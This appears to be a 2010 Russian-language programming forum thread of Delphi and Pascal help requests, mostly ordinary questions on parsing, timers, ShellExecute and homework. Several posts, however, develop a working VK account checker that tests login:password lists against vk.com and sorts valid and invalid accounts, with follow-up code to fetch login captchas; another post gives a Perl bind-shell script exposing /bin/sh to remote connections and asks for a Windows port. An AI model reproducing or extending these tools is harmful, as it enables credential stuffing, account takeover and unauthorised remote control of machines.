Memo1.Lines.Text := Copy(s, pos('<title>', s) + 7, pos('</title>', s) - pos('<title>', s) -7);
Работает :)
Только как сделать что бы уже записаный в мемо текст не удалялся при записи?

GhostOnline
30.04.2010, 13:29
Работает :)
Только как сделать что бы уже записаный в мемо текст не удалялся при записи?
для этого достаточно изменить несколько букв:
s := IdHttp1.Get('http://www.google.ru');
Memo1.Lines.Append(Copy(s, pos('<title>', s) + 7, pos('</title>', s) - pos('<title>', s) -7));

stepashka_
30.04.2010, 18:45
Что то не парсит...
код

procedure TForm1.Button3Click(Sender: TObject);
var
uns, s,log,pass: String;
i: integer;
begin
memo4.lines.add('Старт');
idhttp1.HandleRedirects := True;
for i := 0 to memo1.lines.count-1 do
begin
if Flag then Break;
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
Memo4.Lines.Append(Copy(s, pos('<span>', s) + 7, pos('</span>', s) - pos('<span>', s) -7));
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;

end;

IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;

Длжен парсить кол-во друзей))

buket
30.04.2010, 18:50
stepashka_ откуда он должен парсить, не вижу запроса на получения списка друзей

тупанул, если ты со страницы профиля пытаешься получить количество друзей то тег <span> есть до количества друзей, неправильно парсишь

да и кстати почему ты используешь переменную s если страницу получаешь в переменную uns

stepashka_
30.04.2010, 18:55
stepashka_ откуда он должен парсить, не вижу запроса на получения списка друзей

тупанул, если ты со страницы профиля пытаешься получить количество друзей то тег <span> есть до количества друзей, неправильно парсишь
Memo4.Lines.Append(Copy(s, pos('<span>', s) + 7, pos('</span>', s) - pos('<span>', s) -7));
у меня в коде это есть

buket
30.04.2010, 19:11
я бы сделал так

function TForm1.Pars(T_, ForS, _T: string): string;
var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then
Exit;
a := Pos(T_, ForS);
if a = 0 then
Exit
else
a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);
if b > 0 then
Result := Copy(ForS, 1, b - 1);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s,log,pass: String;
i: integer;
begin
memo4.lines.add('Старт');
idhttp1.HandleRedirects := True;
for i := 0 to memo1.lines.count-1 do
begin
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
Memo4.Lines.Append(pars('Друзья <span>(', uns,')</span>'));
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;

end;
end;

IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;

stepashka_
30.04.2010, 19:21
function TForm1.Pars(T_, ForS, _T: string): string;
var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then
Exit;
a := Pos(T_, ForS);
if a = 0 then
Exit
else
a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);
if b > 0 then
Result := Copy(ForS, 1, b - 1);
end;
При компиляции разные ошибки выдаёт

TrueBit
30.04.2010, 19:25
При компиляции разные ошибки выдаёт
какие?

buket
30.04.2010, 19:26
убери TForm1.
или перед private добавь function Pars(T_, ForS, _T: string): string;

stepashka_
30.04.2010, 21:54
buket все ок скомпилировал, но в лог всё равно не выводит друзей(

HakaR
30.04.2010, 22:14
stepashka_, блин..начинаешь реально уже бесить.
Люди чтоли все время будут за тебя все придумывать\писать?
Думай\делай сам, у тебя должна быть своя голова на плечах...

[STH]
01.05.2010, 00:17
При компилирование нет ошибок, но при запуске пишит

http://img8.imageshack.us/img8/685/47300794.jpg

и указывает на
c:=s[a];

в чем может быть проблема?????

задание: Вывести последовательно по нажатию кнопки в текстовом поле весь алфавит (прописные английские буквы). КАЖДОЕ НАЖАТИЕ КНОПКИ - ДОБАВЛЯЕТСЯ ОДНА БУКВА

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var c:char; s:string; a:integer;
begin
s:='BCDEFGHIKLMNOPQRSTVXYZ';
a:=a+1;
c:=s[a];
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;

procedure TForm1.FormCreate(Sender: TObject);
var a:integer;
begin
a:=0;
end;

end.

Nightmarе
01.05.2010, 00:28
Возможно ли в Delphi забиндить cmd.exe для NetCat (nc.exe) ?
То есть создать сокет, который приконнектится к IP адресу и порту и передаст управление консоли этому IP адресу.
К примеру на перле под Unix бекконнект с привязкой консоли выглядит вот таким небольшим кодом:
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
accept(CONN,S);
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
Таким образом перенаправляя управление локального bin/sh удалённому IP адресу.
Может у кого есть мысли или примерный код как такое реализовать на делфи под винду?
Я к сожалению не улавливаю алгоритм как он это делает. Перл не знаю... только в теории кажется соединиться с портом, принять от него команду, запустить консоль winehec(‘cmd.exe /c -принятое сообщение от айпи’); нее, видимо так не катит, ибо полноценного соединения тут не будет, только приём\ответ. А пример на перле именно привязывает полностью консоль.
Буду очень рад если кто нибудь поможет с кодом, или скажет в каком направлении копать.

Vlad3d
01.05.2010, 01:32
[STH]

var
Form1: TForm1;
a:integer;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
c:string;
s:string;
begin
a:=a+1;
s:='BCDEFGHIKLMNOPQRSTUVXYZ';
c:=copy(s,a,1);
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
a:=-1;
end;

end.

[STH]
01.05.2010, 03:07
Vlad3d, спс...забыл что можно заюзать копи))

TrueBit
01.05.2010, 14:06
здравствуйте!
задача такая:
делаю get запрос, через инди, на сайт.
там проверяются данные, и если они правельные меня редиректит.
Возможно ли узнать на какой урл меня перебросило?

HakaR
01.05.2010, 14:10
idhttp1.Response.Location

TrueBit
01.05.2010, 14:15
idhttp1.Response.Location
пусто там

HakaR
01.05.2010, 15:25
пусто там
handleredirects := true ?

TrueBit
01.05.2010, 15:38
handleredirects := true ?
да

bmp152
02.05.2010, 02:18
пусто там
idhttp1.Response.Location возвращает урл, на который редиректит вроде только если у тебя стоит redirectMaximum = 0
Попробуй IdHTTP1.URL.GetPathAndParams, если будет просто 1 слеш то ты на главной.

koSteck
02.05.2010, 17:09
ПРИВЕТ, ДРУЗЬЯ!)

КТО НИБУДЬ может помочь с решением курсовой??????????

(всего две задачи, думаю у вас они не вызовут затруднений, 1 курс)

[PASCAL]

EndLeSSDre@M
02.05.2010, 17:35
ПРИВЕТ, ДРУЗЬЯ!)

КТО НИБУДЬ может помочь с решением курсовой??????????

(всего две задачи, думаю у вас они не вызовут затруднений, 1 курс)

[PASCAL]

пиши мне в аську или в личку! еси не трудно то бесплатно сделаю!

Serhiy79
02.05.2010, 22:29
подскажите с чего начать учить паскаль??
дайте ссиль на хороший учебник..

SkyLine32
02.05.2010, 22:33
подскажите с чего начать учить паскаль??
дайте ссиль на хороший учебник..
http://www.google.ru/search?client=opera&rls=ru&q=%D1%83%D1%87%D0%B5%D0%B1%D0%BD%D0%B8%D0%BA%D0%B8 +pascal&sourceid=opera&ie=utf-8&oe=utf-8
куча хороших учебников ;)

EndLeSSDre@M
02.05.2010, 22:42
куча хороших учебников ;)

http://delphistudio.ru/ вот это отличный сайт)))

п.с. SkyLine32 пиар :rolleyes:

crazyserega1994
02.05.2010, 23:20
Вот делаю чекер прокси, и хочу спросить, как игнорировать ошибки? Просто если прокси плохой, то вылазит ошибка "Socket error...", а мне надо, чтобы оно ее игнорило, как так сделать? :3

TrueBit
02.05.2010, 23:26
try
проверка
except
обработка ошибки
end;

SkyLine32
03.05.2010, 01:26
Есть таймер, интервал = 5000, нужно чтобы в Label1 каждые 5 сек прибавлялось на 1. Начальное значение ноль.

h(f)ucker
03.05.2010, 01:49
Глобально: var sec : Integer;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
sec := sec+1;
Label1.caption:=IntToStr(sec);
end;

Перед этим нужно задать значение sec = 0;
В FormCreate например.

denjf
03.05.2010, 08:37
......

iGlass
03.05.2010, 11:05
Доброго времни суток =)

Есть задача:
Есть путь, например "C:\SomeApp\SomeFolder\target.txt"

Каким образом можно узнать SomeFolder имя может быть любое.
Заранее спасибо! =)

[stranger]
03.05.2010, 13:10
Доброго времни суток =)

Есть задача:
Есть путь, например "C:\SomeApp\SomeFolder\target.txt"

Каким образом можно узнать SomeFolder имя может быть любое.
Заранее спасибо! =)
ExtractFileDir(<path>) - если надо узнать "C:\SomeApp\SomeFolder"
в ином случае - copy, pos

AlexTheC0d3r
03.05.2010, 14:08
Доброго времни суток =)

Есть задача:
Есть путь, например "C:\SomeApp\SomeFolder\target.txt"

Каким образом можно узнать SomeFolder имя может быть любое.
Заранее спасибо! =)

если длина пути всегда одинаковая то регексп

я имею ввиду количество слешей

iGlass
03.05.2010, 14:36
Да количество слешей одинаково, но название может быть разной длины.. Вот в чём косяк.. Даже если юзать регулярные выражения, то нужно будет отнимать и прибавлять разную длину.. которую как ни крути, а узнать я не могу т.к длина названия папки может быть разная...

Или я туплю? Вроде прикинул, что можно от слеша до слеша. так?

heretic1990
03.05.2010, 14:45
хотел сделать такое:
при нажатии на кнопку появляется картинка(анимация), идёт задержка sleep и картинка снова пропадает, но столкнулся с такой проблемой что анимация не проигрывается во время задержки. подскажите как это исправить.
procedure TForm1.Button1Click(Sender: TObject);
begin
Image1.Visible:=true;
Application.ProcessMessages;
sleep(1000);
Image1.Visible:=false;
end;

iGlass
03.05.2010, 14:48
Вроде есть такой компонент TAnimate Входит в стандартную поставку.

Или надо чтобы сам компонент плавно исчез?

heretic1990
03.05.2010, 14:56
даже если использовать TAnimate, всё равно картинка остаётся статической((

iGlass
03.05.2010, 15:11
Картинку предварительно нужно сделать анимированой...
Сохранить анимацию в формате *.avi
А по нажатию кнопок включать или выключать анимацию в TAnimate
В Delphi ты из статической картинки динамическую не сделаешь...

heretic1990
03.05.2010, 15:33
это всё понятно, я сначала пробовал сделать без Application.ProcessMessages;, и соответственно ничего не выводилось, потом я попробовал обставит саму анимацию Application.ProcessMessages;, ну чтобы дать завершиться процессу но и это не помогло. может как нибудь можно вывести анимацию на пару сек и чтобы она потом пропала, только чтобы это всё было одним кликом. можно попробовать через связку таймеров, но там много гемороя((

[stranger]
03.05.2010, 16:04
даже если использовать TAnimate, всё равно картинка остаётся статической((
а ты попробуй задержку делать таким циклом:

var k: integer;
...
k := 0;
while (k <> 50) do
begin
Application.ProcessMessages;
sleep(100);
inc(k);
end;
...

Flair
03.05.2010, 19:08
Народ, нужно написать программу. Легкая, школьный курс
Помогите пожалуйста :)
Создайте массив, содержащих информацию о машинах (марка, год выпуска, цвет, номер). Выведите на экран информацию о машинах черного цвета. Выведите на экран марки машин, номера которые начинаются на букву М. Упорядочьте записи в массиве по возрастанию года выпуска

heretic1990
03.05.2010, 21:25
всем спасибо за участие.
проблема решена так:

procedure TForm1.Button1Click(Sender: TObject);
begin
Timer1.Enabled:= True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Image1.Visible:= True;
Timer2.Enabled:= True;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Image1.Visible:= false;
Timer1.Enabled:= false;
Timer2.Enabled:= false;
end;

предварительно выключив все таймеры. время отображения объекта соответственно выставляется interval в свойствах таймера. самое главное что динамический объект не зависает, а отображается как положено))

stepashka_
03.05.2010, 22:50
дельфи

uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
if ansipos('captcha_sid',uns) <>0 then
begin
Img := TJpegImage.Create;
Ms := TMemoryStream.Create;
try
idHttp1.Get('http://vkontakte.ru/captcha.php?s=1&sid=' + sid, Ms);
except end;
//s potom sohranit' v file

Ms.Position := 0;
img.LoadFromStream(ms);
Ms.SaveToFile('sasd.jpg')

end;
Парсю капчу ВК, но она не сохраняется... что не так?

[stranger]
03.05.2010, 23:29
дельфи

Парсю капчу ВК, но она не сохраняется... что не так?
на момент отправки запроса что хранится в sid? и такие дела лучше делать со сниффером, чтоб сразу видно было где и что не так.. ;)

stepashka_
03.05.2010, 23:36
']на момент отправки запроса что хранится в sid? и такие дела лучше делать со сниффером, чтоб сразу видно было где и что не так.. ;)

uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
if ansipos('captcha_sid',uns) <>0 then
begin
c:=idhttp1.post ('http://vk.com/login.php', post);

sid:=copy(c, pos('sid":"',c)+6, 14);
delete(sid, pos('"',sid), length(sid));
begin
Img := TJpegImage.Create;
Ms := TMemoryStream.Create;
try
idHttp1.Get('http://vkontakte.ru/captcha.php?s=1&sid=' + sid, Ms);
except end;
Ms.Position := 0;
img.LoadFromStream(ms);
img.SaveToFile(sid+'.jpeg');

end;
Так пробовал, вообще не авторизируется акк..

JnK
04.05.2010, 00:14
Народ, нужно написать программу. Легкая, школьный курс
Помогите пожалуйста :)
Язык программирования Pascal или Delphi?
И массив один или много?

fenixelite
04.05.2010, 05:36
Flair, масив какой? Или записи можно использовать?

GhostOnline
04.05.2010, 07:39
Flair, масив какой? Или записи можно использовать?
Я думаю ему нужен массив записей

HakaR
04.05.2010, 09:03
Парсю капчу ВК, но она не сохраняется... что не так?
Вот писал давно уже код... но там я юзал регулярку.
if Pos('captcha_sid', result) <> 0 then
begin
RegExp.Expression := '"captcha_sid":"(.+?)","';
RegExp.Exec(result);
captcha_sid := RegExp.Match[1];
//showmessage(captcha_sid);
fr.log.Lines.Add('-Получение капчи');
(* Грузим капчу *)
fr.http.Get('http://vkontakte.ru/captcha.php?sid=' + captcha_sid, ms);
ms.SaveToFile('captcha_temp.jpeg');
fr.image1.Picture.LoadFromFile('captcha_temp.jpeg' );
InputQuery('Капча','Введи капчу.',captcha_key);
end;

buket
04.05.2010, 11:42
подскажите у Synapse есть нечто подобное атифризу в инди?

stepashka_
04.05.2010, 11:53
HakaR в uses что прописать?

GhostOnline
04.05.2010, 12:46
stepashka_
1. Cкачиваешь, распаковываешь http://slil.ru/29037076
2 .Добавляешь к проекту Project=>Add to project
3. В uses RegExpr
4. Enjoy!

stepashka_
04.05.2010, 13:33
GhostOnline неа, что то ещё надо добавить :(

GhostOnline
04.05.2010, 13:36
А объект то создал?
RegExp := TRegExpr.Create;

if Pos('captcha_sid', result) <> 0 then
begin
RegExp.Expression := '"captcha_sid":"(.+?)","';
RegExp.Exec(result);
captcha_sid := RegExp.Match[1];
//showmessage(captcha_sid);
fr.log.Lines.Add('-Получение капчи');
(* Грузим капчу *)
fr.http.Get('http://vkontakte.ru/captcha.php?sid=' + captcha_sid, ms);
ms.SaveToFile('captcha_temp.jpeg');
fr.image1.Picture.LoadFromFile('captcha_temp.jpeg' );
InputQuery('Капча','Введи капчу.',captcha_key);
end;
А в проект точно добавил??
Пробуй так, и точно описание ошибки в студию
И, после использования надо освобождать:
RegExp.Free;

RumShun
04.05.2010, 13:36
RegExpr.pas в папку с проектом кинул?

stepashka_
04.05.2010, 13:46
[Ошибка] Unit1.pas(173): Undeclared identifier: 'RegExp'
[Ошибка] Unit1.pas(174): Missing operator or semicolon
[Ошибка] Unit1.pas(175): Undeclared identifier: 'captcha_sid'
[Ошибка] Unit1.pas(175): Missing operator or semicolon
[Ошибка] Unit1.pas(177): Undeclared identifier: 'fr'
[Ошибка] Unit1.pas(177): :( Missing operator or semicolon
[Ошибка] Unit1.pas(179): Missing operator or semicolon
[Ошибка] Unit1.pas(181): Missing operator or semicolon
[Ошибка] Unit1.pas(182): Undeclared identifier: 'captcha_key'
[Ошибка] Unit1.pas(182): Types of actual and formal var parameters must be identical
[Ошибка] Unit1.pas(241): Undeclared identifier: 'RegExp'
[Фатальная Ошибка] Project1.dpr(6): Could not compile used unit 'Unit1.pas'

вот :(

GhostOnline
04.05.2010, 13:48
Хы, ну приколист то а
Объект то объявлять еще надо в функции в которой используешь:
var
RegExp : TregExpr;
captcha_sid , captcha_key: string;
....................

A fr поменяй на имя своей формы

stepashka_
04.05.2010, 14:02
GhostOnline всё скомпилировалось, но капча не сохраняется :(

GhostOnline
04.05.2010, 14:15
Отлаживай программу по шагам, и найдешь где косяк
В этом месте что ты передаешь в метод:
RegExp.Exec(result); ? что у тебя хранится в переменной result?

И вот эту хню:
ms.SaveToFile('captcha_temp.jpeg');
fr.image1.Picture.LoadFromFile('captcha_temp.jpeg' );
поменяй на
Image1.Picture.Bitmap.LoadFromStream(ms);
потому что бессмысленно сохранять в файл, чтобы тут же из файла загрузить :-D

stepashka_
04.05.2010, 14:31
RegExp.Exec(result); ? что у тебя хранится в переменной result?
result: string; так?
И вот эту хню:
ms.SaveToFile('captcha_temp.jpeg');
fr.image1.Picture.LoadFromFile('captcha_temp.jpeg' );
поменяй на
Image1.Picture.Bitmap.LoadFromStream(ms); сделал.

GhostOnline
04.05.2010, 14:42
Повторяю: отлаживай программу по шагам, так проще всего найти где ошибка
Я лично не собираюсь брать твой код на отладку

Flair
04.05.2010, 15:12
Народ, нужно написать программу. Легкая, школьный курс
Помогите пожалуйста :)
Создайте массив, содержащих информацию о машинах (марка, год выпуска, цвет, номер). Выведите на экран информацию о машинах черного цвета. Выведите на экран марки машин, номера которые начинаются на букву М. Упорядочьте записи в массиве по возрастанию года выпуска
Язык pascal. На счет массива хз.
Но нужно по премеру этой программы
program sotrudniki;
type
sotrudniki=record
surname:string;
name:string;
age:byte;
data:integer;
plata:integer;
pol:char;
end;
var mas: array [1..25] of sotrudniki;
a,s,i:integer;
begin
write('a=');
read(a);
for i:=1 to a do
begin
write('vvedite familiy');
read(zap[i].surname);
write('vvedite imia');
read(zap[i].name);
write('vvedite vozrast');
read(zap[i].age);
write('vvedite god priniatia na raboty');
read(zap[i].data);
write('vvedite razmer zarabotnoi plati');
read(zap[i].plata);
write('vvedite pol');
read(zap[i].pol);
end;
writeln('surname','name','age','pla ta','pol');
for i:=1 to a do
begin
write(zap[i].surname:9);
write(zap[i].name:4);
write(zap[i].age:3);
write(zap[i].data:4);
write(zap[i].plata:6);
write(zap[i].pol:2);
writeln;
end;
for i:=1 to a do
begin
if zap[i].pol='z'then
s:=s+zap[i].plata;
end;
writeln('summa=',s);
end.

HakaR
04.05.2010, 15:22
HakaR в uses что прописать?
uses RegExpr;

...

var
result, captcha_sid: string;
postdata: tstringlist;
RegExp: TRegExpr;
ms: tmemorystream;
begin
postdata := tstringlist.create;
RegExp := TRegExpr.Create;
ms := tmemorystream.Create;

...

postdata.Add('op=a_login_attempt');
result := fr.http.Post('http://vkontakte.ru/login.php', postdata);
if Pos('captcha_sid', result) <> 0 then
begin
RegExp.Expression := '"captcha_sid":"(.+?)","';
RegExp.Exec(result);
captcha_sid := RegExp.Match[1];
(* Грузим капчу *)
fr.http.Get('http://vkontakte.ru/captcha.php?sid=' + captcha_sid, ms);
ms.SaveToFile('captcha_temp.jpeg');
fr.image1.Picture.LoadFromFile('captcha_temp.jpeg' );
end;

...

ms.free;
RegExp.free;
postdata.free;
end;

потому что бессмысленно сохранять в файл, чтобы тут же из файла загрузить :-D
Мне так удобнее :)

EndLeSSDre@M
04.05.2010, 16:22
Язык pascal. На счет массива хз.
Но нужно по премеру этой программы



ну держи, коли так:

program mashini1;
type
mashini=record
marka:string;
god:integer;
color:string;
nomer:string;
end;
var zap: array [1..25] of mashini;
a,s,i,j,x1:integer;
x2,x3,x4:string;
begin
write('kolichestvo=');
readln(a);
for i:=1 to a do
begin
writeln('vvedite marku');
readln(zap[i].marka);
writeln('vvedite god');
readln(zap[i].god);
writeln('vvedite cvet');
readln(zap[i].color);
writeln('vvedite nomer');
readln(zap[i].nomer);
end;

writeln('mashini chernogo cveta');
writeln('marka ',' god ',' nomer ');
for i:=1 to a do begin
if zap[i].color='black' then
begin
write(zap[i].marka:5,' ');
write(zap[i].god:4, ' ');
write(zap[i].nomer:6,' ');
writeln;
end;
end;
writeln('nomer na N');
writeln('marka ',' god ',' cvet ',' nomer ');
for i:=1 to a do
begin
if copy(zap[i].nomer,1,1)='m' then
begin
write(zap[i].marka:5,' ');
write(zap[i].god:4, ' ');
write(zap[i].color:5,' ');
write(zap[i].nomer:6,' ');
writeln;
end;
end;

for i:=1 to a-1 do
for j:=i+1 to a do
if zap[i].god>zap[j].god then
begin
x1:=zap[i].god;
x2:=zap[i].marka;
x3:=zap[i].color;
x4:=zap[i].nomer;
zap[i].god:=zap[j].god;
zap[i].marka:=zap[j].marka;
zap[i].color:=zap[j].color;
zap[i].nomer:=zap[j].nomer;
zap[j].god:=x1;
zap[j].marka:=x2;
zap[j].color:=x3;
zap[j].nomer:=x4;
end;
writeln;
writeln('po vozrastaniju goda vipuska');
writeln('marka ',' god ',' cvet ',' nomer ');
for i:=1 to a do
begin
write(zap[i].marka:5,' ');
write(zap[i].god:4, ' ');
write(zap[i].color:5,' ');
write(zap[i].nomer:6,' ');
writeln;
end;
readln;
end.

я молодец, правда? :rolleyes: :)

кстати, писал в блокнотике, так что на работоспособность не проверял... будут ошибки сообщишь))

HakaR
04.05.2010, 17:59
Есть какой нибудь компонент для дельфи, что бы из png конвертировать в jpeg|bmp ?
Просто какая то капча тупая попалась, не грузится в дельфи и все...

xafon
04.05.2010, 21:31
HakaR, посмотри тут (http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_24193794.html) компонент. На счет конвертирования я не знаю но помочь с пнг должен.

crazy~driver
04.05.2010, 23:34
ShellExecute(Self.Handle, 'open', 'help/help.doc', nil, nil, SW_SHOWNORMAL);
ShellExecute(Self.Handle, 'open', 'help/help.avi', nil, nil, SW_SHOWNORMAL);
выполняется на bitbtnclick.


Под хр открывает и работает идеально. Но под виндовс 7 вообще не реагирует. Подскажите пожалуйста, как можно решить эту проблему. (проверилось на нескольких семерках и хр - шках).

[stranger]
04.05.2010, 23:42
ShellExecute(Self.Handle, 'open', 'help/help.doc', nil, nil, SW_SHOWNORMAL);
ShellExecute(Self.Handle, 'open', 'help/help.avi', nil, nil, SW_SHOWNORMAL);
выполняется на bitbtnclick.


Под хр открывает и работает идеально. Но под виндовс 7 вообще не реагирует. Подскажите пожалуйста, как можно решить эту проблему. (проверилось на нескольких семерках и хр - шках).

ShellExecute
Return Values

If the function succeeds, the return value is the instance handle of the application that was run, or the handle of a dynamic data exchange (DDE) server application.
If the function fails, the return value is an error value that is less than or equal to 32. The following table lists these error values:

Value Meaning
0 The operating system is out of memory or resources.
ERROR_FILE_NOT_FOUND The specified file was not found.
ERROR_PATH_NOT_FOUND The specified path was not found.
ERROR_BAD_FORMAT The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).
SE_ERR_ACCESSDENIED The operating system denied access to the specified file.
SE_ERR_ASSOCINCOMPLETE The filename association is incomplete or invalid.
SE_ERR_DDEBUSY The DDE transaction could not be completed because other DDE transactions were being processed.
SE_ERR_DDEFAIL The DDE transaction failed.
SE_ERR_DDETIMEOUT The DDE transaction could not be completed because the request timed out.
SE_ERR_DLLNOTFOUND The specified dynamic-link library was not found.
SE_ERR_FNF The specified file was not found.
SE_ERR_NOASSOC There is no application associated with the given filename extension.
SE_ERR_OOM There was not enough memory to complete the operation.
SE_ERR_PNF The specified path was not found.
SE_ERR_SHARE A sharing violation occurred.

что функция возвращает?

crazy~driver
04.05.2010, 23:56
у меня стоит хр сейчас к сожалению негде проверить. Единственное что могу сказать, что когда нажимаю кнопку то вообще ничего не происходит. Как будто и не жму ее.

RumShun
05.05.2010, 06:15
MySQLResult := MySQLClient.Query('SELECT * FROM user WHERE userid='+login+' and password='+password, True, ok);
так наверно надо

xafon
05.05.2010, 06:19
crazy~driver, ShellExecute(0, 'open', PAnsiChar(SysDir+'1.exe'),nil, nil, SW_SHOWNORMAL);, у меня на 7 запускается.

W!z@rD
05.05.2010, 07:12
ShellExecute(0, nil, PChar(SysDir+'1.exe'),nil, nil, SW_SHOWNORMAL);

2-й параметр, nil эквивалентно 'open'

crazy~driver
05.05.2010, 11:20
xafon, W!z@rD
crazy~driver, ShellExecute(0, 'open', PAnsiChar(SysDir+'1.exe'),nil, nil, SW_SHOWNORMAL);, у меня на 7 запускается.
Посмотрите на мой вопрос, мне надо чтобы открывал вордовский файл в Microsoft ofiice и авишный файл в том плеере, который стоит по дефолту на компе у юзера. А ехе-шники и у мя открывало без проблем.

[stranger]
05.05.2010, 14:04
xafon, W!z@rD

Посмотрите на мой вопрос, мне надо чтобы открывал вордовский файл в Microsoft ofiice и авишный файл в том плеере, который стоит по дефолту на компе у юзера. А ехе-шники и у мя открывало без проблем.
попробуй задать абсолютный путь, и все таки глянь что функция возвращает, тогда понятно будет что и как..

EndLeSSDre@M
06.05.2010, 00:38
Пытаюсь добавить записи в таблицу, вот запрос:

MySQLResult := MySQLClient.query('INSERT INTO user (username,password,email,salt) values ('+QuotedStr(nick)+','+QuotedStr(password)+','+Quo tedStr(email)+','+QuotedStr(salt)+')', True, ok);

как бы ошибок нет и при повторном вводе происходит проверка на существование таких же данных и выдается ошибка что такой юзер уже есть! с этим все норм

проблема в том что я захожу через phpmyadmin в таблицу user и не вижу там добавленной записи(((( в чем трабла?

а еще вопрос: обязательно заполнять все поля??? просто мне нужно отправлять только 4 а там много полей!

W!z@rD
06.05.2010, 07:24
ты случайно не работаешь с Disconnected моделью?

JnK
06.05.2010, 07:36
Пытаюсь добавить записи в таблицу, вот запрос:



как бы ошибок нет и при повторном вводе происходит проверка на существование таких же данных и выдается ошибка что такой юзер уже есть! с этим все норм

проблема в том что я захожу через phpmyadmin в таблицу user и не вижу там добавленной записи(((( в чем трабла?

а еще вопрос: обязательно заполнять все поля??? просто мне нужно отправлять только 4 а там много полей!

Попробуй после запроса, возвращать ID последней записи. еще попробуй значения заключать в кавычки, тоесть
...values ("'+QuotedStr(nick)+'","'+Qu...
или
...values ('#39+QuotedStr(nick)+#39','#39+Qu...

Если разрешено оставлять поля пустыми в самой базе, тогда указываешь какие надо поля заполнить. Если нет, тогда указываешь поля какие заполнить и какие не разрешены быть пустыми.

crazyserega1994
06.05.2010, 18:56
Есть поток, как сделать так, чтобы когда все в процедуре Execute выполнено, проверяется равна ли перменная index единицы, если он больше 1, то запускаем этот же поток заного?

SkyLine32
06.05.2010, 20:08
как можно узнать что текст попал в буфер обмена?

FeRiuS
06.05.2010, 20:32
SkyLine32,
if Clipboard.HasFormat(CF_TEXT) then showmessage('В буфере обмена текст')
else showmessage('В буфере обмена не текст')

SkyLine32
06.05.2010, 20:38
FeRiuS
я наверно не правильно выразился... мне нужно вот что... как узнать что в буфер попал скопированный текст, во.

FeRiuS
06.05.2010, 20:45
SkyLine32,
Текст заранее известен?

SkyLine32
06.05.2010, 21:17
SkyLine32,
Текст заранее известен?
не

FeRiuS
06.05.2010, 21:24
SkyLine32,
Копируй текст например в мемо, и после копирования в буфер сверяй на идентичность.
if Clipboard.AsText='текст' then ...

[stranger]
06.05.2010, 22:05
Есть поток, как сделать так, чтобы когда все в процедуре Execute выполнено, проверяется равна ли перменная index единицы, если он больше 1, то запускаем этот же поток заного?
создай в основном потоке процедурку которая будет проверять нужное значение и если надо - запускать поток, а в конце execute вызывай эту процедурку